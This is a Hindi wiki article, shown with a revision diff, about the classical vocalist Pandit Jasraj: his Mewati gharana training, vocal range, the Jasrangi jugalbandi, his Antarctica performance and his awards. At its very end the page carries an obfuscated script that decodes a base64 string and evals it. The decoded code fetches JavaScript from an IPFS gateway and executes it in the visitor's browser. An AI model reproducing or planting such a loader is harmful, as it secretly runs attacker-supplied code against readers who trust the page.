पंडित जसराज: Difference between revisions
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) |
व्यवस्थापन (talk | contribs) m (Text replace - "सानिध्य" to "सान्निध्य") |
||
Line 26: | Line 26: | ||
|शीर्षक 2= | |शीर्षक 2= | ||
|पाठ 2= | |पाठ 2= | ||
|अन्य जानकारी=पंडित जसराज ने बाबा श्याम मनोहर गोस्वामी महाराज के | |अन्य जानकारी=पंडित जसराज ने बाबा श्याम मनोहर गोस्वामी महाराज के सान्निध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। | ||
|बाहरी कड़ियाँ= | |बाहरी कड़ियाँ= | ||
|अद्यतन= | |अद्यतन= | ||
Line 34: | Line 34: | ||
पंडित जसराज का जन्म 28 जनवरी 1930 को एक ऐसे परिवार में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं [[मेवाती घराना|मेवाती घराने]] के एक विशिष्ट [[संगीतज्ञ]] थे। जैसा कि आपने पहले पढ़ा कि पं. जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें [[हैदराबाद]] और बेरार के आखिरी निज़ाम [[उस्मान अली|उस्मान अली खाँ]] बहादुर के दरबार में राज [[संगीतज्ञ]] घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं० जसराज के अग्रज, संगीत महामहोपाध्याय पं० मणिराम जी ने। इन्हीं की छत्रछाया में पं० जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा [[तबला]] वादन सीखा। [[चित्र:pandit_jasraj.jpg|thumb|left|पं. जसराज]] मणिराम जी अपने साथ बालक जसराज को [[तबला वादक]] के रूप में ले जाया करते थे। परंतु उस समय [[सारंगी वादक|सारंगी वादकों]] की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा [[आगरा]] के स्वामी वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडित जी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं। <ref>{{cite web |url=http://podcast.hindyugm.com/2011/04/blog-post_17.html |title=सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने |accessmonthday=12 मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }} </ref> | पंडित जसराज का जन्म 28 जनवरी 1930 को एक ऐसे परिवार में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं [[मेवाती घराना|मेवाती घराने]] के एक विशिष्ट [[संगीतज्ञ]] थे। जैसा कि आपने पहले पढ़ा कि पं. जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें [[हैदराबाद]] और बेरार के आखिरी निज़ाम [[उस्मान अली|उस्मान अली खाँ]] बहादुर के दरबार में राज [[संगीतज्ञ]] घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं० जसराज के अग्रज, संगीत महामहोपाध्याय पं० मणिराम जी ने। इन्हीं की छत्रछाया में पं० जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा [[तबला]] वादन सीखा। [[चित्र:pandit_jasraj.jpg|thumb|left|पं. जसराज]] मणिराम जी अपने साथ बालक जसराज को [[तबला वादक]] के रूप में ले जाया करते थे। परंतु उस समय [[सारंगी वादक|सारंगी वादकों]] की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा [[आगरा]] के स्वामी वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडित जी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं। <ref>{{cite web |url=http://podcast.hindyugm.com/2011/04/blog-post_17.html |title=सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने |accessmonthday=12 मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }} </ref> | ||
====आवाज़ की विशेषता==== | ====आवाज़ की विशेषता==== | ||
पं० जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक है। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की '[[ख़याल]]' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामी महाराज के | पं० जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक है। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की '[[ख़याल]]' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामी महाराज के सान्निध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। भारतीय शास्त्रीय संगीत में उनका सबसे महत्त्वपूर्ण योगदान है। उनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न [[राग यमन (कल्याण)|रागों]] को एक साथ गाते हैं। पंडित जसराज के सम्मान में इस जुगलबन्दी का नाम 'जसरंगी' रखा गया है।<ref>{{cite web |url=http://podcast.hindyugm.com/2011/04/blog-post_17.html |title=सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने |accessmonthday=12 मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }} </ref> | ||
==अंटार्कटिका में गायन== | ==अंटार्कटिका में गायन== |
Revision as of 07:58, 5 April 2015
पंडित जसराज
| |
पूरा नाम | पंडित जसराज |
जन्म | 28 जनवरी 1930 |
जन्म भूमि | बनारस |
पति/पत्नी | मधु जसराज |
संतान | पुत्र सारंग देव और पुत्री दुर्गा |
कर्म-क्षेत्र | शास्त्रीय गायक |
पुरस्कार-उपाधि | पद्म श्री, पद्म भूषण, पद्म विभूषण |
विशेष योगदान | इनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न रागों को एक साथ गाते हैं। |
नागरिकता | भारतीय |
अन्य जानकारी | पंडित जसराज ने बाबा श्याम मनोहर गोस्वामी महाराज के सान्निध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। |
पंडित जसराज (अंग्रेज़ी:Pt. Jasraj) भारतीय शास्त्रीय संगीत के विश्वविख्यात गायक है। हमारे देश में शास्त्रीय संगीत कला सदियों से चली आ रही है। इस कला को न केवल मनोरंजन का, अपितु ईश्वर से जुड़ने का एक महत्त्वपूर्ण स्रोत माना गया है। ऐसे ही एक आवाज़ जिन्होंने मात्र 3 वर्ष की अल्पायु में कठोर वास्तविकताओं की इस ठंडी दुनिया में अपने दिवंगत पिता से विरासत के रूप में मिले केवल सात स्वरों के साथ क़दम रखा, आज वही सात स्वर उनकी प्रतिभा का इन्द्रधनुष बन विश्व-जगत में उन्हें विख्यात कर रहे हैं।
जीवन परिचय
पंडित जसराज का जन्म 28 जनवरी 1930 को एक ऐसे परिवार में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं मेवाती घराने के एक विशिष्ट संगीतज्ञ थे। जैसा कि आपने पहले पढ़ा कि पं. जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें हैदराबाद और बेरार के आखिरी निज़ाम उस्मान अली खाँ बहादुर के दरबार में राज संगीतज्ञ घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं० जसराज के अग्रज, संगीत महामहोपाध्याय पं० मणिराम जी ने। इन्हीं की छत्रछाया में पं० जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा तबला वादन सीखा। thumb|left|पं. जसराज मणिराम जी अपने साथ बालक जसराज को तबला वादक के रूप में ले जाया करते थे। परंतु उस समय सारंगी वादकों की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा आगरा के स्वामी वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडित जी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं। [1]
आवाज़ की विशेषता
पं० जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक है। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की 'ख़याल' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामी महाराज के सान्निध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। भारतीय शास्त्रीय संगीत में उनका सबसे महत्त्वपूर्ण योगदान है। उनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न रागों को एक साथ गाते हैं। पंडित जसराज के सम्मान में इस जुगलबन्दी का नाम 'जसरंगी' रखा गया है।[2]
अंटार्कटिका में गायन
दिग्गज शास्त्रीय गायक पंडित जसराज ने अनूठी उपलब्धि हासिल की है। 82 वर्षीय शास्त्रीय गायक ने हाल में अंटार्कटिका के दक्षिणी ध्रुव पर अपनी प्रस्तुति दी। इसके साथ ही वह सातों महाद्वीपों में कार्यक्रम पेश करने वाले पहले भारतीय बन गए हैं। पद्म विभूषण से सम्मानित पंडित जसराज ने बीती 8 जनवरी को अंटार्कटिका तट पर 'सी स्प्रिट' नामक क्रूज पर गायन कार्यक्रम पेश किया। शनिवार को यहां जारी एक बयान में यह जानकारी दी गई। मेवाती घराना से ताल्लुक रखने वाले पंडित जसराज रविवार को स्वदेश लौट रहे हैं। जसराज ने इससे पहले वर्ष 2010 में पत्नी मधुरा के साथ उत्तरी ध्रुव का दौरा किया था।[3]
फ़िल्म में गायन
मशहूर शास्त्रीय गायक पंडित जसराज ने पहली बार सन 2008 में रिलीज़ किसी हिंदी फ़िल्म के एक गीत को अपनी आवाज दी है। विक्रम भट्ट निर्देशित फ़िल्म ‘1920’ के लिए उन्होंने अपनी जादुई आवाज में एक गाना गाया है। पंडित जसराज ने इस फ़िल्म के प्रचार के लिए बनाए गए वीडियो के गीत ‘वादा तुमसे है वादा’ को अपनी दिलकश आवाज दी है। गाने की शूटिंग मुम्बई के जोगेश्वरी स्थित विसाज स्टूडियो में हुई। इस गाने को संगीत से सजाया अदनान सामी ने और बोल लिखे हैं समीर ने। वीडियो के गानों की कोरियोग्राफी की है राजू खान ने। ए.एस.ए. प्रोडक्शन एंड एंटरप्राइजेज लिमिटेड के निर्माण में बनाई जा रही फ़िल्म ‘1920’ में नए कलाकार काम कर रहे हैं। वर्ष 1920 के दौर में सजी यह फ़िल्म एक भारतीय लड़के और एक अंग्रेज लड़की की प्रेम कहानी है। ये दोनों लोगों के भारी विरोधों के बावजूद दोनों एक-दूसरे से शादी कर लेते हैं।[4]
जीवन के 75वें सोपान पर
thumb|250px|पं. जसराज "रानी तेरो चिरजियो गोपाल...." 28 जनवरी, 2005 की भोर से ही "रसराज" कहे जाने वाले संगीत मार्तण्ड पं. जसराज के चाहने वालों के होठों पर उनके इस भजन के बोल तैर रहे थे। "रसराज" जसराज ने ऋतुराज की दस्तक के साथ ही अपने जीवन के 75 सोपान तय किए। 75 दीपों की मालिका के साथ दिल्ली के कमानी सभागार में पंडित जसराज के ज्योतिर्मय जीवन की कामना की गई। पांच साल पहले जब पंडित जी के हृदय की शल्य चिकित्सा हुई थी, तब सबको लगता था कि पता नहीं, उनके मधुर स्वरों की गंगा उसी प्रकार प्रवाहित होती रहेगी या फिर....। पंडित जी के शब्दों में -
"वह तो बिल्कुल वैसा ही था, जैसे किसी सितार के तारों में जंग लग जाए और फिर आप उन तारों को बदल दें या मिट्टी के तेल में रुई डुबोकर साफ कर दें। "बाईपास सर्जरी" से पहले कुछ तकलीफें रहती थीं, उसके बाद सब एकदम निर्मल जल-सा हो गया।"
29 जनवरी को पंडित जसराज अपने अभिनंदन में आयोजित समारोह के लिए दिल्ली पधारे थे। इस अवसर पर प्रशंसकों से घिरे पंडित जी से उनकी जीवन-यात्रा के अनुभव जानने चाहे तो थोड़ा गंभीर होकर बोले, "सोचता हूं कि आज अगर 35 बरस का होता और 75 बरस के ये अनुभव साथ होते, और उससे आगे 35 बरस की यात्रा करता तो कितना फ़र्क़ होता। संगीत के प्रति यही भावनाएं, श्रद्धा और भक्ति होती तो जीवन कितना धन्य होता।"[5]
सम्मान और पुरस्कार
पंडित जसराज नीचे दिये गये सम्मान और पुरस्कारों से सम्मानित हो चुके हैं।
- पद्म विभूषण (2001)
- पद्म भूषण
- पद्म श्री
- संगीत नाटक अकादमी पुरस्कार
- मास्टर दीनानाथ मंगेशकर अवार्ड
- लता मंगेशकर पुरस्कार
- महाराष्ट्र गौरव पुरस्कार
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
- ↑ सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
- ↑ पंडित जसराज ने किया अंटार्कटिका में गायन (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
- ↑ पंडित जसराज ने फिल्मी गीत गाया (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
- ↑ उम्र के 75वें वसंत के अवसर पर पं. जसराज कहते हैं- (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
बाहरी कड़ियाँ
- आधिकारिक वेबसाइट
- पंडित जसराज इंस्टीटयूट
- Pandit Jasraj Institute of Music (PJIM)
- Pandit Jasraj School of Music Foundation Vancouver
- पंडित जसराज
- शांतिनिकेतन में पं जसराज का गायन
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>